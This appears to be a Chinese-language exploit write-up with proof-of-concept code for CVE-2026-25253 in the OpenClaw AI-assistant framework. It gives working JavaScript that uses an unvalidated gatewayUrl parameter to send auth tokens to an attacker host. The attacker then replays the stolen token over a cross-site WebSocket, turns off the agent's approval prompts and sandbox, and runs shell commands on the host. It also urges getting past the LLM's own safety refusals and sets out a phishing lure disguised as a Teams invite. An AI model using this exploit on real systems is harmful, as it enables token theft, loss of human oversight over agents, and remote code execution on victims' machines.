## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-KAJZINGERAKOS-CVE-2026-25253
# CVE-2026-25253:OpenClaw 中通过认证令牌窃取实现一键 RCE
**受影响软件:** OpenClaw (clawbot) < v2026.1.29
**CVE ID:** CVE-2026-25253
**CVSS 评分:** 8.8(高危)
**影响:** 未认证的远程攻击者可窃取认证令牌,并在受害者主机上实现远程代码执行
> **法律免责声明:** 本代码及分析文章仅供授权的安全研究和教育目的使用。在未经明确书面许可的情况下,针对系统使用此漏洞利用工具属于非法且不道德的行为。作者对任何滥用行为不承担任何责任。
* * *
## 技术背景
OpenClaw(前身为 **Clawdbot** ,早期版本中称为 **Moltbot** )是一个在 macOS、Windows 或 Linux 上本地运行的 AI 助手框架。它支持 Anthropic 和 OpenAI 等云端模型,也支持本地模型。
**Control UI** 是一个单页应用,通过 `/chat` 提供服务。它通过 WebSocket 在 `ws://127.0.0.1:18789/`(或使用 TLS 时的 `wss://host:18789/`)与本地网关服务器通信。
受影响版本的关键安全特性:
* 认证令牌和密码存储在 **`localStorage`** 中
* 设备身份通过 **Ed25519 密钥对** (`noble-ed25519`)建立
* WebSocket 协议使用 JSON-RPC 风格的消息(`type: "req"`、`"res"`、`"event"`)
* 连接时,Control UI 会在第一个 `connect` 帧中发送认证凭据和设备身份
* * *
## 根本原因:`applySettingsFromUrl()`
该漏洞位于 Control UI 中的 `applySettingsFromUrl()` 函数中。
当 Control UI 加载时,该函数会从 URL 中读取 `?gatewayUrl=` 查询参数,并将其**存储为活动网关端点** ——且不验证其是否指向受信任的主机。
攻击者可以构造如下链接:
root@kitploit:~
http://<target>/chat?gatewayUrl=ws://attacker.com
当受害者在 OpenClaw 中已认证的情况下点击此链接时,以下操作会自动发生:
1. `applySettingsFromUrl()` 将 `ws://attacker.com` 存储为新的网关 URL
2. Control UI 向攻击者的服务器打开一个 WebSocket 连接
3. Control UI 将其 `connect` 帧——包括**认证令牌** 、设备 ID 和 Ed25519 公钥——发送给攻击者
4. 攻击者捕获令牌,并针对 `ws://127.0.0.1:18789` 上的合法网关进行重放
5. 攻击者现在在受害者的机器上拥有一个已认证的操作员会话
* * *
## 漏洞利用
### 第 1 步 — 通过弹窗技巧窃取令牌
在此 PoC 中,攻击者托管一个页面(`meeting.html`),该页面在弹窗中打开受害者自己的 Control UI,并注入恶意的 `?gatewayUrl=` 参数:
root@kitploit:~
const attackerGatewayUrl = `ws://<attacker>:8080`;
const targetUrl = `http://127.0.0.1:18789?gatewayUrl=${encodeURIComponent(attackerGatewayUrl)}`;
window.open(targetUrl, '_blank');
攻击者服务器利用 OpenClaw 的双令牌回退机制:第一次 `connect` 尝试使用**设备令牌** (绑定 Ed25519,不可重放)。通过拒绝该尝试,服务器迫使 Control UI 使用**设置令牌** 重试——这是一种长期有效的承载令牌, _可以_ 重放:
root@kitploit:~
// 拒绝第 1 次尝试 → 迫使 Control UI 使用设置令牌重试
if (connectAttempts === 1) {
ws.send({ type: 'res', ok: false, error: { code: 'AUTH_FAILED' } });
return;
}
// 第 2 次尝试 → 设置令牌 → 已捕获
capturedToken = token;
### 第 2 步 — 跨站 WebSocket 劫持
利用窃取的设置令牌,`meeting.html` 打开其**自身** 到真实网关(`ws://127.0.0.1:18789`)的直接 WebSocket 连接。这是可行的,因为 v2026.1.29 之前版本的网关不验证 `Origin` 头——受害者浏览器中加载的任何页面都可以连接到它。
### 第 3 步 — 禁用安全控制
root@kitploit:~
// 关闭所有执行审批提示
await sendRequest('exec.approvals.set', {
file: {
defaults: { ask: 'off', autoAllowSkills: true },
agents: { '*': { ask: 'off' } },
}
});
// 逃逸容器沙箱,将 exec 重定向到宿主机
await sendRequest('config.patch', {
raw: JSON.stringify({
tools: { exec: { host: 'gateway', ask: 'off' } },
agents: { defaults: { sandbox: { mode: 'off' } } },
})
});
### 第 4 步 — 远程代码执行
消息字段的内容由代理中配置的 LLM 处理,这意味着,如果 LLM 认为内容有害,它将不会执行该命令。您必须发挥创意来绕过 LLM 的安全措施。
root@kitploit:~
await sendRequest('agent', {
message: 'Execute this shell command: <payload>',
agentId: 'main',
sessionKey: 'agent:main:main',
deliver: false,
});
* * *
## 完整攻击流程
root@kitploit:~
sequenceDiagram
autonumber
actor Attacker
participant Browser as Victim Browser<br/>(meeting.html)
participant CtrlUI as OpenClaw Control UI<br/>(popup @ 127.0.0.1:18789/chat)
participant AtkWS as Attacker WS Server<br/>(:8080)
participant GW as Real OpenClaw Gateway<br/>(127.0.0.1:18789)
participant LLM as Cloud LLM<br/>(OpenAI / Anthropic)
Attacker->>Browser: Phishing link → opens meeting.html<br/>(disguised as a Teams invite)
Note over Browser: Phase 1 — Token Theft
Browser->>CtrlUI: Opens popup with ?gatewayUrl=ws://attacker:8080
Note over CtrlUI: applySettingsFromUrl() stores<br/>attacker WS as active gateway
CtrlUI->>AtkWS: connect { auth.token: DEVICE_TOKEN }
AtkWS-->>CtrlUI: ✗ AUTH_FAILED (reject — forces retry)
CtrlUI->>AtkWS: connect { auth.token: SETTINGS_TOKEN }
AtkWS-->>CtrlUI: ✓ hello-ok (fake response)
AtkWS->>Browser: token_captured { token: SETTINGS_TOKEN }
Note over Browser: Phase 2 — Gateway Hijack (CSWSH)
Browser->>GW: WebSocket connect (no Origin validation)<br/>auth { token: SETTINGS_TOKEN }
GW-->>Browser: ✓ Authenticated as operator
Note over Browser: Phase 3 — Security Bypass
Browser->>GW: exec.approvals.set { ask: "off" }
GW-->>Browser: ✓ Approval prompts disabled
Browser->>GW: config.patch { exec.host: "gateway",<br/>sandbox.mode: "off" }
GW-->>Browser: ✓ Sandbox disabled, exec on host
Note over Browser: Phase 4 — Remote Code Execution
Browser->>GW: agent { message: "Execute shell command: COMMAND" }
GW->>LLM: Forward prompt (security already stripped)
LLM-->>GW: Tool call: exec("COMMAND")
GW->>GW: Runs command on HOST filesystem
GW-->>Browser: ✓ Command executed
* * *
## 运行 PoC
### 设置
root@kitploit:~
npm install # installs 'ws' dependency
### 配置 `meeting.html`
root@kitploit:~
const GATEWAY_URL = 'ws://127.0.0.1:18789'; // victim's local gateway
const ATTACKER_WS_PORT = 8080; // must match attacker-server.js
const COMMAND = 'touch /tmp/success';
### 运行
root@kitploit:~
node attacker-server.js
向受害者发送:
root@kitploit:~
http://<ATTACKER_IP>:3000/meeting.html
* * *
## 参考
https://github.com/openclaw/openclaw/security/advisories/GHSA-g8p2-7wf7-98mq
https://www.sonicwall.com/blog/openclaw-auth-token-theft-leading-to-rce-cve-2026-25253
https://hackers-arise.com/cve-2026-25253-how-malicious-links-can-steal-authentication-tokens-and-compromise-openclaw-ai-systems/